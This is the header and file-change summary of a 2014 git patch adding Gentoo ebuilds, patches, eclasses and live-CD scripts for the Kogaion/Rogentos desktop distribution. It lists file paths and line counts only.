From 7224c1253228e5c29c78cb3f0f26ce34770f2356 Mon Sep 17 00:00:00 2001
From: BlackNoxis <steven.darklight@gmail.com>
Date: Sat, 15 Feb 2014 23:24:26 +0200
Subject: Added ebuilds for kogaion desktop

---
 README                                             |    5 +
 app-admin/anaconda/Manifest                        |    2 +
 app-admin/anaconda/anaconda-9999.ebuild            |  224 +
 app-admin/anaconda/files/compat.py                 |   18 +
 app-admin/anaconda/files/liveinst                  |    2 +
 .../anaconda/files/make_liveinst_update_package.sh |   24 +
 app-admin/butonasvesel/Manifest                    |    2 +
 app-admin/butonasvesel/butonasvesel-1.ebuild       |   39 +
 app-admin/conky-full/Manifest                      |   12 +
 app-admin/conky-full/conky-full-1.9.0.ebuild       |  139 +
 .../conky-full/files/conky-1.8.1-acpitemp.patch    |   81 +
 .../files/conky-1.8.1-battery-time.patch           |   11 +
 .../files/conky-1.8.1-curl-headers.patch           |   24 +
 .../conky-full/files/conky-1.8.1-lua-5.2.patch     |   26 +
 .../files/conky-1.8.1-maxinterfaces.patch          |   41 +
 .../conky-full/files/conky-1.8.1-nvidia-x.patch    |   33 +
 .../files/conky-1.8.1-secunia-SA43225.patch        |   72 +
 .../conky-full/files/conky-1.8.1-utf8-scroll.patch |  104 +
 app-admin/conky-full/files/conky-1.8.1-xmms2.patch |   36 +
 .../conky-full/files/conky-1.9.0-ncurses.patch     |   31 +
 app-admin/conky/Manifest                           |   15 +
 app-admin/conky/conky-1.8.1-r6.ebuild              |  134 +
 app-admin/conky/conky-1.9.0.ebuild                 |  136 +
 app-admin/conky/files/conky-1.8.1-acpitemp.patch   |   81 +
 .../conky/files/conky-1.8.1-battery-time.patch     |   11 +
 .../conky/files/conky-1.8.1-curl-headers.patch     |   24 +
 app-admin/conky/files/conky-1.8.1-lua-5.2.patch    |   26 +
 .../conky/files/conky-1.8.1-maxinterfaces.patch    |   41 +
 app-admin/conky/files/conky-1.8.1-nvidia-x.patch   |   33 +
 .../conky/files/conky-1.8.1-secunia-SA43225.patch  |   72 +
 .../conky/files/conky-1.8.1-utf8-scroll.patch      |  104 +
 app-admin/conky/files/conky-1.8.1-xmms2.patch      |   36 +
 app-admin/conky/files/conky-1.9.0-ncurses.patch    |   31 +
 app-admin/conky/metadata.xml                       |   33 +
 app-admin/eselect-lightdm/Manifest                 |    2 +
 .../eselect-lightdm/eselect-lightdm-0.2.ebuild     |   25 +
 .../eselect-lightdm/files/lightdm-0.2.eselect      |  176 +
 app-admin/example1/Manifest                        |    2 +
 app-admin/example1/example1-2012.ebuild            |   37 +
 app-admin/example2/Manifest                        |   12 +
 app-admin/example2/example2-1.0.ebuild             |   43 +
 app-admin/example2/example2-1.1.ebuild             |   25 +
 app-admin/example2/files/patch-1.0.patch           |    5 +
 app-admin/example2/files/patch-1.1.patch           |    5 +
 app-admin/kernel-schimbare/Manifest                |    4 +
 .../kernel-schimbare/kernel-schimbare-1.ebuild     |   28 +
 .../kernel-schimbare/kernel-schimbare-2.ebuild     |   28 +
 app-admin/minus-desktop-tool/Manifest              |    2 +
 .../minus-desktop-tool-1.8.ebuild                  |   20 +
 app-admin/our-archive/Manifest                     |    4 +
 app-admin/our-archive/files/creation-1.patch       |    9 +
 app-admin/our-archive/our-archive-1.01.ebuild      |   42 +
 app-admin/our-archive/our-archive-1.ebuild         |   40 +
 app-admin/rose-installer/Manifest                  |    3 +
 .../rose-installer/files/RoSeInstaller.desktop     |    7 +
 app-admin/rose-installer/files/rose-installer.png  |  Bin 0 -> 10420 bytes
 app-admin/rose-installer/rose-installer-1.0.ebuild |   42 +
 app-admin/stability-watcher/Manifest               |    3 +
 .../files/07-rogentos-packages.mask                |   71 +
 .../files/entropy_sabayonlinux.org                 |    3 +
 .../stability-watcher/stability-watcher-0.1.ebuild |   32 +
 app-editors/emacs/Manifest                         |    3 +
 app-editors/emacs/emacs-24.2.ebuild                |  336 +
 app-editors/liteide/Manifest                       |    1 +
 app-editors/liteide/liteide-9999.ebuild            |   90 +
 app-emulation/packettracer/Manifest                |    2 +
 app-emulation/packettracer/packettracer-533.ebuild |  102 +
 app-emulation/playonlinux/Manifest                 |   16 +
 app-emulation/playonlinux/playonlinux-4.1.0.ebuild |  106 +
 app-emulation/playonlinux/playonlinux-4.1.1.ebuild |  106 +
 app-emulation/playonlinux/playonlinux-4.1.3.ebuild |  110 +
 app-emulation/playonlinux/playonlinux-4.1.4.ebuild |  110 +
 app-emulation/playonlinux/playonlinux-4.1.5.ebuild |  110 +
 app-emulation/playonlinux/playonlinux-4.1.6.ebuild |  132 +
 app-emulation/playonlinux/playonlinux-4.1.8.ebuild |  133 +
 app-emulation/playonlinux/playonlinux-4.2.1.ebuild |  133 +
 app-emulation/steam/Manifest                       |    1 +
 app-emulation/steam/steam-1.0.0.45.ebuild          |   41 +
 app-misc/anaconda-runtime/Manifest                 |    2 +
 .../anaconda-runtime-1.1-r1.ebuild                 |   51 +
 .../anaconda-runtime-1.1-r3.ebuild                 |   50 +
 app-misc/haguichi/Manifest                         |    2 +
 app-misc/haguichi/haguichi-1.0.17.ebuild           |   51 +
 app-misc/rogentos-live/rogentos-live-1.ebuild      |   32 +
 app-misc/rogentos-live/rogentos-live-2-r1.ebuild   |   32 +
 app-misc/rogentos-live/rogentos-live-2.ebuild      |   33 +
 app-misc/rogentos-skel/Manifest                    |    1 +
 app-misc/rogentos-skel/rogentos-skel-1.ebuild      |   27 +
 app-misc/rogentos-version/Manifest                 |    2 +
 .../files/00-sabayon-anti-fork-bomb.conf           |   20 +
 .../rogentos-version/rogentos-version-1.ebuild     |   48 +
 app-misc/rogentoslive-tools/Manifest               |   50 +
 app-misc/rogentoslive-tools/files/1.0/bashlogin    |    6 +
 app-misc/rogentoslive-tools/files/1.0/cdeject      |   23 +
 .../rogentoslive-tools/files/1.0/installer-gui     |   26 +
 .../rogentoslive-tools/files/1.0/installer-text    |   21 +
 .../files/1.0/livecd-functions.sh                  |  634 ++
 app-misc/rogentoslive-tools/files/1.0/livespawn    |   10 +
 app-misc/rogentoslive-tools/files/1.0/logscript.sh |  111 +
 app-misc/rogentoslive-tools/files/1.0/net-setup    |   65 +
 .../rogentoslive-tools/files/1.0/opengl-activator  |  318 +
 .../files/1.0/rogentos-functions.sh                |  247 +
 .../files/1.0/rogentos-welcome-loader              |   10 +
 .../files/1.0/rogentos-welcome-loader.desktop      |    7 +
 app-misc/rogentoslive-tools/files/1.0/rogentoslive |  218 +
 .../files/1.0/sabayon-live-check                   |   26 +
 app-misc/rogentoslive-tools/files/1.0/sabutil      |  667 ++
 .../rogentoslive-tools/files/1.0/vga-cmd-parser    |   53 +
 .../files/1.0/x-setup-configuration                |   60 +
 .../rogentoslive-tools/files/1.0/x-setup-init.d    |   68 +
 .../90-fglrx-12.1-and-older-workaround.conf        |    4 +
 .../files/1.0/xorg.conf.d/90-synaptics.conf        |   58 +
 .../files/1.0/xorg.conf.rogentos                   |  100 +
 app-misc/rogentoslive-tools/files/2/bashlogin      |    6 +
 app-misc/rogentoslive-tools/files/2/cdeject        |   11 +
 .../rogentoslive-tools/files/2/cdeject.service     |   13 +
 app-misc/rogentoslive-tools/files/2/cdeject.sh     |   12 +
 app-misc/rogentoslive-tools/files/2/installer-gui  |   15 +
 .../files/2/installer-gui.service                  |   12 +
 .../rogentoslive-tools/files/2/installer-gui.sh    |    8 +
 app-misc/rogentoslive-tools/files/2/installer-text |   13 +
 .../files/2/installer-text.service                 |   11 +
 .../rogentoslive-tools/files/2/installer-text.sh   |    7 +
 .../rogentoslive-tools/files/2/livecd-functions.sh |  635 ++
 app-misc/rogentoslive-tools/files/2/livespawn      |   10 +
 app-misc/rogentoslive-tools/files/2/logscript.sh   |  111 +
 app-misc/rogentoslive-tools/files/2/net-setup      |   65 +
 .../files/2/rogentos-functions.sh                  |  284 +
 .../rogentoslive-tools/files/2/rogentos-live-check |   27 +
 .../files/2/rogentos-welcome-loader                |   10 +
 .../files/2/rogentos-welcome-loader.desktop        |    7 +
 app-misc/rogentoslive-tools/files/2/rogentoslive   |   14 +
 .../files/2/rogentoslive.service                   |   11 +
 .../rogentoslive-tools/files/2/rogentoslive.sh     |  183 +
 app-misc/rogentoslive-tools/files/2/sabutil        |  667 ++
 app-misc/rogentoslive-tools/files/2/vga-cmd-parser |   53 +
 .../files/2/x-setup-configuration                  |   46 +
 app-misc/rogentoslive-tools/files/2/x-setup-init.d |   26 +
 .../rogentoslive-tools/files/2/x-setup.service     |   14 +
 app-misc/rogentoslive-tools/files/2/x-setup.sh     |   49 +
 .../rogentoslive-tools-1.0-r1.ebuild               |   83 +
 .../rogentoslive-tools/rogentoslive-tools-2.ebuild |   74 +
 app-misc/sabayon-mce/Manifest                      |    6 +
 .../sabayon-mce/files/1.1/bin/sabayon-mce-session  |    3 +
 .../sabayon-mce/files/1.1/bin/sabayon-mce-start    |   18 +
 .../sabayon-mce/files/1.1/bin/sabayon-mce-startx   |  171 +
 app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce  |   41 +
 .../files/1.1/xsession/sabayon-mce.desktop         |    8 +
 app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild     |   56 +
 app-pda/ifuse/ChangeLog                            |   54 +
 app-pda/ifuse/Manifest                             |    1 +
 app-pda/ifuse/ifuse-1.1.2.ebuild                   |   30 +
 app-pda/ifuse/ifuse-9999.ebuild                    |   32 +
 app-pda/ifuse/metadata.xml                         |    6 +
 app-text/evince-light/ChangeLog                    | 1046 +++
 app-text/evince-light/Manifest                     |   40 +
 app-text/evince-light/evince-2.32.0-r3.ebuild      |  137 +
 app-text/evince-light/evince-2.32.0-r4.ebuild      |  138 +
 app-text/evince-light/evince-3.2.1-r1.ebuild       |  117 +
 app-text/evince-light/evince-light-3.4.0.ebuild    |  113 +
 .../files/evince-0.7.1-display-menu.patch          |   11 +
 ...evince-2.32.0-create_thumbnail_frame-null.patch |   25 +
 .../files/evince-2.32.0-desktop-categories.patch   |   20 +
 .../files/evince-2.32.0-dvi-CVEs.patch             |   97 +
 .../files/evince-2.32.0-dvi-security.patch         |   24 +
 .../evince-light/files/evince-2.32.0-gold.patch    |   16 +
 .../files/evince-2.32.0-libdocument-segfault.patch |   35 +
 .../files/evince-2.32.0-libview-crash.patch        |   32 +
 .../files/evince-2.32.0-pk-fonts.patch             |   37 +
 .../files/evince-2.32.0-stop-spinner.patch         |   74 +
 .../files/evince-2.32.0-update-poppler.patch       |   58 +
 .../files/evince-2.32.0-use-popup.patch            |   21 +
 .../files/evince-3.2.1-glib-gold.patch             |   38 +
 .../files/evince-3.2.1-libgxps-0.2.patch           |   45 +
 .../files/evince-3.4.0-glib-gold.patch             |   54 +
 app-text/evince-light/files/gconf-2.m4             |   44 +
 app-text/evince-light/metadata.xml                 |   16 +
 app-text/foxitreader/Manifest                      |    1 +
 app-text/foxitreader/files/foxitreader.desktop     |   22 +
 app-text/foxitreader/files/foxitreader.png         |  Bin 0 -> 4820 bytes
 app-text/foxitreader/foxitreader-1.1.0.ebuild      |   59 +
 app-text/foxitreader/metadata.xml                  |    5 +
 app-text/xpdf/Manifest                             |    5 +
 app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch   |   13 +
 app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch   |   13 +
 app-text/xpdf/xpdf-3.03.ebuild                     |   84 +
 dev-java/eclipse-ecj/ChangeLog                     |  356 +
 dev-java/eclipse-ecj/Manifest                      |   15 +
 dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild   |   86 +
 dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild     |   92 +
 dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild      |  103 +
 dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild        |  103 +
 dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild      |  103 +
 dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild      |  103 +
 .../eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch  |  509 ++
 dev-java/eclipse-ecj/metadata.xml                  |   15 +
 dev-lang/smlnj/Manifest                            |   23 +
 dev-lang/smlnj/smlnj-110.75.ebuild                 |  113 +
 dev-python/gdk-pixbuf/GENTOO                       |    0
 dev-python/gdk-pixbuf/Manifest                     |    5 +
 .../gdk-pixbuf-2.21.4-fix-automagic-x11.patch      |   24 +
 dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild  |   93 +
 dev-python/gdk-pixbuf/metadata.xml                 |    9 +
 dev-python/pymaxe/Manifest                         |    2 +
 dev-python/pymaxe/pymaxe-20130303.ebuild           |   30 +
 dev-python/pysmbc/Manifest                         |    2 +
 dev-python/pysmbc/pysmbc-1.0.13.ebuild             |   21 +
 dev-python/pyvlc/Manifest                          |    2 +
 dev-python/pyvlc/pyvlc-1.0.ebuild                  |   50 +
 dev-python/pyvlc/pyvlc-9999.ebuild                 |   50 +
 dev-python/qtstatemachine/Manifest                 |    6 +
 .../qstatemachines_add_CMake_support.patch_003     |  154 +
 .../qstatemachines_fix_compound_state.patch_002    |   82 +
 .../files/qstatemachines_fix_history.patch_001     |  155 +
 .../qtstatemachine/qtstatemachine-1.1-r1.ebuild    |   38 +
 .../qtstatemachine/qtstatemachine-1.1.ebuild       |   49 +
 do-artwork-bump.sh                                 |   25 +
 eclass/avahi.eclass                                |  102 +
 eclass/compat-drivers-3.7.eclass                   |  543 ++
 eclass/compat-drivers-3.8-r1.eclass                |  104 +
 eclass/compat-drivers-3.8.eclass                   |  560 ++
 eclass/kde-l10n.eclass                             |   32 +
 eclass/kogaion-artwork.eclass                      |   62 +
 eclass/libreoffice-l10n-2.eclass                   |  139 +
 eclass/libreoffice-l10n.eclass                     |  124 +
 eclass/openoffice-l10n.eclass                      |   68 +
 eclass/rogentos-artwork.eclass                     |   62 +
 eclass/rogentos-kernel.eclass                      |  967 +++
 eclass/sabayon-artwork.eclass                      |   55 +
 eclass/sabayon-kernel.eclass                       |  967 +++
 eclass/spl-zfs-kernel.eclass                       |  183 +
 eclass/spl-zfs-userspace.eclass                    |  218 +
 eclass/transmission-2.51.eclass                    |  294 +
 eclass/transmission-2.52.eclass                    |  295 +
 eclass/webapp.eclass                               |  575 ++
 games-emulation/mednafen/ChangeLog                 |  190 +
 games-emulation/mednafen/Manifest                  |   24 +
 .../mednafen/files/mednafen-0.9.21-zlib.patch      |   27 +
 .../files/mednafen-0.9.28-automake-1.13.patch      |   11 +
 .../mednafen/files/mednafen-0.9.28-cflags.patch    |   35 +
 .../mednafen/files/mednafen-0.9.28-zlib.patch      |   30 +
 games-emulation/mednafen/mednafen-0.9.21.ebuild    |   63 +
 games-emulation/mednafen/mednafen-0.9.28.ebuild    |   59 +
 games-emulation/mednafen/mednafen/ChangeLog        |  190 +
 games-emulation/mednafen/mednafen/Manifest         |   24 +
 .../mednafen/files/mednafen-0.9.21-zlib.patch      |   27 +
 .../files/mednafen-0.9.28-automake-1.13.patch      |   11 +
 .../mednafen/files/mednafen-0.9.28-cflags.patch    |   35 +
 .../mednafen/files/mednafen-0.9.28-zlib.patch      |   30 +
 .../mednafen/mednafen/mednafen/ChangeLog           |  190 +
 games-emulation/mednafen/metadata.xml              |    8 +
 games-fps/redeclipse/Manifest                      |    4 +
 games-fps/redeclipse/redeclipse-1.1.ebuild         |   69 +
 games-fps/redeclipse/redeclipse-1.3.1.ebuild       |   65 +
 games-strategy/0ad/0ad-11339.ebuild                |  150 +
 games-strategy/0ad/0ad-11863.ebuild                |  145 +
 games-strategy/0ad/0ad-99999.ebuild                |  115 +
 games-strategy/0ad/Manifest                        |   11 +
 .../0ad/files/11339_alpha_disable_nvtt.patch       |    0
 games-strategy/0ad/files/premake-archless.patch    |   36 +
 .../0ad/files/premake-script-archless.patch        |   31 +
 games-strategy/0ad/files/r11339_noCUDAdep.diff     |  366 +
 games-strategy/dunelegacy/Manifest                 |    2 +
 games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild |   61 +
 games-strategy/stargus/Manifest                    |    2 +
 games-strategy/stargus/stargus-2.2.7.ebuild        |   70 +
 games-strategy/unknown-horizons/Manifest           |    4 +
 .../unknown-horizons-2011.2.ebuild                 |   38 +
 .../unknown-horizons-2012.1.ebuild                 |   37 +
 games-strategy/zod-engine/Manifest                 |    3 +
 .../zod-engine-20110906-proper-linux-support.patch | 1419 +++
 .../zod-engine/zod-engine-20110906.ebuild          |   71 +
 games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild    |   31 +
 games-tycoon/LinuxTycoon/Manifest                  |    2 +
 gnome-base/gnome-core-apps/ChangeLog               |   46 +
 gnome-base/gnome-core-apps/Manifest                |    4 +
 .../gnome-core-apps-3.6.2-r1.ebuild                |   59 +
 .../gnome-core-apps/gnome-core-apps-3.6.2.ebuild   |   59 +
 gnome-base/gnome-core-apps/metadata.xml            |    5 +
 gnome-base/gnome/ChangeLog                         | 1743 ++++
 gnome-base/gnome/Manifest                          |    6 +
 gnome-base/gnome/gnome-2.32.1-r2.ebuild            |  192 +
 gnome-base/gnome/gnome-3.4.1.ebuild                |  105 +
 gnome-base/gnome/gnome-3.6.2-r1.ebuild             |   88 +
 gnome-base/gnome/gnome-3.6.2.ebuild                |   88 +
 gnome-base/gnome/metadata.xml                      |   10 +
 kde-base/oxygen-icons/Manifest                     |    9 +
 kde-base/oxygen-icons/metadata.xml                 |    5 +
 kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild   |   42 +
 kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild    |   40 +
 kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild    |   40 +
 kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild    |   42 +
 kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild    |   42 +
 lxde-base/lxdm/Manifest                            |   18 +
 .../lxdm/files/lxdm-0.4.1-configure-add-pam.patch  |   45 +
 .../files/lxdm-0.4.1-fix-event-check-bug.patch     |   25 +
 .../lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch    |   16 +
 .../lxdm/files/lxdm-0.4.1-fix-session-args.patch   |   29 +
 .../lxdm-0.4.1-git-fix-null-pointer-deref.patch    |   51 +
 .../files/lxdm-0.4.1-missing-pam-defines.patch     |   29 +
 .../files/lxdm-0.4.1-optional-consolekit.patch     |   38 +
 .../lxdm-0.4.1-pam-use-system-local-login.patch    |   15 +
 .../files/lxdm-0.4.1-pam_console-disable.patch     |    9 +
 .../lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch   |   32 +
 .../lxdm/files/lxdm-0.4.1-rogentos-conf.patch      |   11 +
 lxde-base/lxdm/files/lxdm.service                  |   11 +
 lxde-base/lxdm/files/xinitrc                       |   52 +
 lxde-base/lxdm/lxdm-0.4.1-r7.ebuild                |   89 +
 lxde-base/lxdm/lxdm-0.4.1-r8.ebuild                |   93 +
 lxde-base/lxdm/metadata.xml                        |    5 +
 mail-filter/bogofilter/ChangeLog                   |  777 ++
 mail-filter/bogofilter/Manifest                    |    8 +
 mail-filter/bogofilter/bogofilter-1.2.2.ebuild     |  116 +
 mail-filter/bogofilter/bogofilter-1.2.3.ebuild     |  147 +
 .../bogofilter/files/bogofilter-1.2.2-gcc34.patch  |   24 +
 mail-filter/bogofilter/metadata.xml                |   11 +
 .../CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild  |   37 +
 media-gfx/CodeAnalyst/Manifest                     |    2 +
 media-gfx/freecad/Manifest                         |   18 +
 .../freecad/files/freecad-0.12.5284-boost148.patch |   25 +
 .../freecad/files/freecad-0.12.5284-gcc46.patch    |   11 +
 .../freecad/files/freecad-0.12.5284-glu.patch      |   12 +
 .../files/freecad-0.12.5284-no-3rdParty.patch      |    9 +
 .../files/freecad-0.12.5284-no-permissive.patch    |   40 +
 .../freecad/files/freecad-0.12.5284-nodir.patch    |   21 +
 .../freecad/files/freecad-0.12.5284-nopivy.patch   |   17 +
 .../files/freecad-0.12.5284-occ-6.5.5.patch        |  224 +
 .../files/freecad-0.12.5284-qt3support.patch       |   36 +
 .../files/freecad-0.12.5284-removeoldswig.patch    |  111 +
 .../freecad-0.12.5284-salomesmesh-occ-6.5.5.patch  |  228 +
 .../freecad-0.13.1830-remove-qt3-support.patch     |   33 +
 media-gfx/freecad/freecad-0.12.5284-r2.ebuild      |   91 +
 media-gfx/freecad/freecad-0.12.5284-r3.ebuild      |  128 +
 media-gfx/freecad/freecad-0.13.1830.ebuild         |   88 +
 media-gfx/freecad/freecad-9999.ebuild              |  107 +
 media-sound/djplay/Manifest                        |    2 +
 media-sound/djplay/djplay-0.5.0.ebuild             |   34 +
 media-sound/teamspeak-client-bin/ChangeLog         |  148 +
 media-sound/teamspeak-client-bin/Manifest          |   12 +
 media-sound/teamspeak-client-bin/files/teamspeak3  |   10 +
 media-sound/teamspeak-client-bin/metadata.xml      |    8 +
 .../teamspeak-client-bin-3.0.0_rc1.ebuild          |   47 +
 .../teamspeak-client-bin-3.0.10.ebuild             |   47 +
 .../teamspeak-client-bin-3.0.13.1.ebuild           |   47 +
 .../teamspeak-client-bin-3.0.6.ebuild              |   47 +
 .../teamspeak-client-bin-3.0.8.1.ebuild            |   47 +
 .../teamspeak-client-bin-3.0.9.2.ebuild            |   47 +
 media-tv/sopcast-player/Manifest                   |    2 +
 .../sopcast-player/sopcast-player-0.8.5.ebuild     |   40 +
 media-tv/sp-auth/Manifest                          |    1 +
 media-tv/sp-auth/sp-auth-3.2.6.ebuild              |   33 +
 media-tv/xbmc/Manifest                             |   26 +
 media-tv/xbmc/files/xbmc-10.0-python-2.7.patch     |  768 ++
 media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch        |  100 +
 media-tv/xbmc/files/xbmc-10.1-headers.patch        |   10 +
 media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch     |  596 ++
 media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch     |  605 ++
 media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch  |   30 +
 ...bmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch |   51 +
 .../files/xbmc-11.0_beta1-libpng-1.5-headers.patch |   12 +
 .../xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch    |  596 ++
 .../xbmc-9.11-TexturePacker-parallel-build.patch   |   13 +
 media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch   |   18 +
 media-tv/xbmc/files/xbmc-9.11-libpng14.patch       |   92 +
 .../xbmc/files/xbmc-9.11-shader-upscalers.patch    |  887 ++
 ...9.11-use-cdio-system-headers-on-non-win32.patch |  129 +
 media-tv/xbmc/files/xbmc-9.11-wavpack.patch        |   44 +
 .../xbmc/files/xbmc-9999-arm-kill-softfp.patch     |   15 +
 .../xbmc-9999-libpng-1.5-fix-plt-trn-get.patch     |   47 +
 media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch   |   16 +
 media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch  |   28 +
 media-tv/xbmc/files/xbmc-9999-nomythtv.patch       |  206 +
 media-tv/xbmc/xbmc-10.1.ebuild                     |  225 +
 media-tv/xbmc/xbmc-11.0.ebuild                     |  232 +
 media-tv/xbmc/xbmc-12.0.ebuild                     |  237 +
 media-video/amdcccle/Manifest                      |   18 +
 media-video/amdcccle/amdcccle-11.10.ebuild         |   62 +
 media-video/amdcccle/amdcccle-11.11.ebuild         |   64 +
 media-video/amdcccle/amdcccle-11.12.ebuild         |   64 +
 media-video/amdcccle/amdcccle-11.6.ebuild          |   62 +
 media-video/amdcccle/amdcccle-11.8.ebuild          |   62 +
 media-video/amdcccle/amdcccle-11.9.ebuild          |   62 +
 media-video/amdcccle/amdcccle-12.1-r1.ebuild       |   64 +
 media-video/amdcccle/amdcccle-12.2.ebuild          |   64 +
 media-video/amdcccle/amdcccle-12.3.ebuild          |   64 +
 media-video/ffmpeg/Manifest                        |    2 +
 media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild        |  255 +
 media-video/mkvtoolnix-gui/Manifest                |    2 +
 .../mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild     |   81 +
 media-video/mkvtoolnix/Manifest                    |    2 +
 media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild     |   86 +
 media-video/nvidia-settings/Manifest               |   20 +
 .../nvidia-settings/files/95-nvidia-settings       |    2 +
 .../nvidia-settings/files/nvidia-autostart.desktop |    8 +
 .../nvidia-settings/nvidia-settings-295.33.ebuild  |   72 +
 .../nvidia-settings/nvidia-settings-295.40.ebuild  |   72 +
 .../nvidia-settings/nvidia-settings-302.07.ebuild  |   72 +
 .../nvidia-settings/nvidia-settings-304.22.ebuild  |   66 +
 .../nvidia-settings/nvidia-settings-304.60.ebuild  |   66 +
 .../nvidia-settings/nvidia-settings-304.88.ebuild  |   69 +
 .../nvidia-settings/nvidia-settings-310.19.ebuild  |   66 +
 .../nvidia-settings/nvidia-settings-313.30.ebuild  |   69 +
 .../nvidia-settings/nvidia-settings-325.15.ebuild  |   76 +
 media-video/tovid/Manifest                         |    5 +
 media-video/tovid/metadata.xml                     |    5 +
 media-video/tovid/tovid-0.34.ebuild                |   61 +
 media-video/tovid/tovid-0.34_p20120123.ebuild      |   65 +
 media-video/tv-maxe/Manifest                       |    2 +
 media-video/tv-maxe/tv-maxe-0.08.ebuild            |   49 +
 media-video/tv-maxe/tv-maxe-0.09.ebuild            |   50 +
 media-video/tvmaxe-cli/Manifest                    |    2 +
 media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild  |   27 +
 media-video/webcamstudio-module/Manifest           |    1 +
 .../webcamstudio-module-1.4-r2.ebuild              |   51 +
 .../webcamstudio-module-1.4-r2.ebuild.save         |   52 +
 metadata/layout.conf                               |    2 +
 net-analyzer/g-wan/g-wan-2012.ebuild               |   31 +
 net-analyzer/metasploit/Manifest                   |    8 +
 net-analyzer/metasploit/metasploit-9999.ebuild     |  215 +
 net-misc/hamachi-gui/Manifest                      |    2 +
 net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild      |   41 +
 net-misc/logmein-hamachi/ChangeLog                 |   49 +
 net-misc/logmein-hamachi/Manifest                  |   15 +
 .../logmein-hamachi/files/logmein-hamachi.confd    |   16 +
 .../logmein-hamachi/files/logmein-hamachi.initd    |   73 +
 .../logmein-hamachi-2.1.0.17.ebuild                |   61 +
 .../logmein-hamachi-2.1.0.68-r1.ebuild             |   62 +
 .../logmein-hamachi-2.1.0.68.ebuild                |   61 +
 .../logmein-hamachi-2.1.0.76-r1.ebuild             |   62 +
 .../logmein-hamachi-2.1.0.76.ebuild                |   62 +
 net-misc/logmein-hamachi/metadata.xml              |    9 +
 net-misc/openssh-x/ChangeLog                       | 1929 +++++
 net-misc/openssh-x/Manifest                        |   96 +
 .../files/openssh-4.7_p1-GSSAPI-dns.patch          |  127 +
 .../openssh-x/files/openssh-5.2_p1-autoconf.patch  |   15 +
 .../files/openssh-5.2_p1-gsskex-fix.patch          |   16 +
 .../files/openssh-5.2_p1-x509-hpn-glue.patch       |   91 +
 .../files/openssh-5.2p1-ldap-stdargs.diff          |   10 +
 .../openssh-x/files/openssh-5.4_p1-openssl.patch   |   12 +
 .../files/openssh-5.6_p1-hpn-progressmeter.patch   |   15 +
 .../files/openssh-5.6_p1-x509-hpn-glue.patch       |   60 +
 .../files/openssh-5.7_p1-x509-hpn-glue.patch       |   60 +
 .../openssh-x/files/openssh-5.8_p1-selinux.patch   |   18 +
 .../files/openssh-5.8_p1-x509-hpn-glue.patch       |   61 +
 .../files/openssh-5.9_p1-drop-openssl-check.patch  |   25 +
 .../openssh-5.9_p1-sshd-gssapi-multihomed.patch    |  184 +
 .../openssh-x/files/openssh-5.9_p1-x509-glue.patch |   15 +
 .../openssh-6.0_p1-fix-freebsd-compilation.patch   |   15 +
 .../files/openssh-6.0_p1-hpn-progressmeter.patch   |   15 +
 net-misc/openssh-x/files/openssh-6.0_p1-test.patch |   19 +
 .../openssh-x/files/openssh-6.0_p1-x509-glue.patch |   15 +
 .../files/openssh-6.0_p1-x509-hpn-glue.patch       |   57 +
 .../openssh-x/files/openssh-6.1_p1-x509-glue.patch |   15 +
 .../files/openssh-6.1_p1-x509-hpn-glue.patch       |   49 +
 net-misc/openssh-x/files/sshd.confd                |   21 +
 net-misc/openssh-x/files/sshd.pam                  |    9 +
 net-misc/openssh-x/files/sshd.pam_include.2        |    4 +
 net-misc/openssh-x/files/sshd.rc6                  |   82 +
 net-misc/openssh-x/files/sshd.rc6.1                |   83 +
 net-misc/openssh-x/files/sshd.rc6.2                |   85 +
 net-misc/openssh-x/files/sshd.rc6.3                |   85 +
 net-misc/openssh-x/files/sshd.service              |   10 +
 net-misc/openssh-x/files/sshd.socket               |   10 +
 net-misc/openssh-x/files/sshd_at.service           |    8 +
 net-misc/openssh-x/metadata.xml                    |   28 +
 net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild      |  294 +
 net-misc/openssh-x/openssh-x-6.0_p1.ebuild         |  294 +
 net-misc/openssh-x/openssh-x-6.1_p1.ebuild         |  295 +
 net-misc/teamviewer/Manifest                       |    6 +
 net-misc/teamviewer/teamviewer-7.0.9310.ebuild     |   52 +
 net-misc/teamviewer/teamviewer-7.0.9377.ebuild     |   52 +
 net-misc/teamviewer/teamviewer-8.0.16675.ebuild    |   52 +
 net-misc/tigervnc/Manifest                         |    5 +
 net-misc/tigervnc/tigervnc-1.2.0.ebuild            |  196 +
 net-misc/udpcast/ChangeLog                         |  107 +
 net-misc/udpcast/Manifest                          |    7 +
 net-misc/udpcast/files/udpcast-define.patch        |   12 +
 net-misc/udpcast/metadata.xml                      |   13 +
 net-misc/udpcast/udpcast-20110710.ebuild           |   30 +
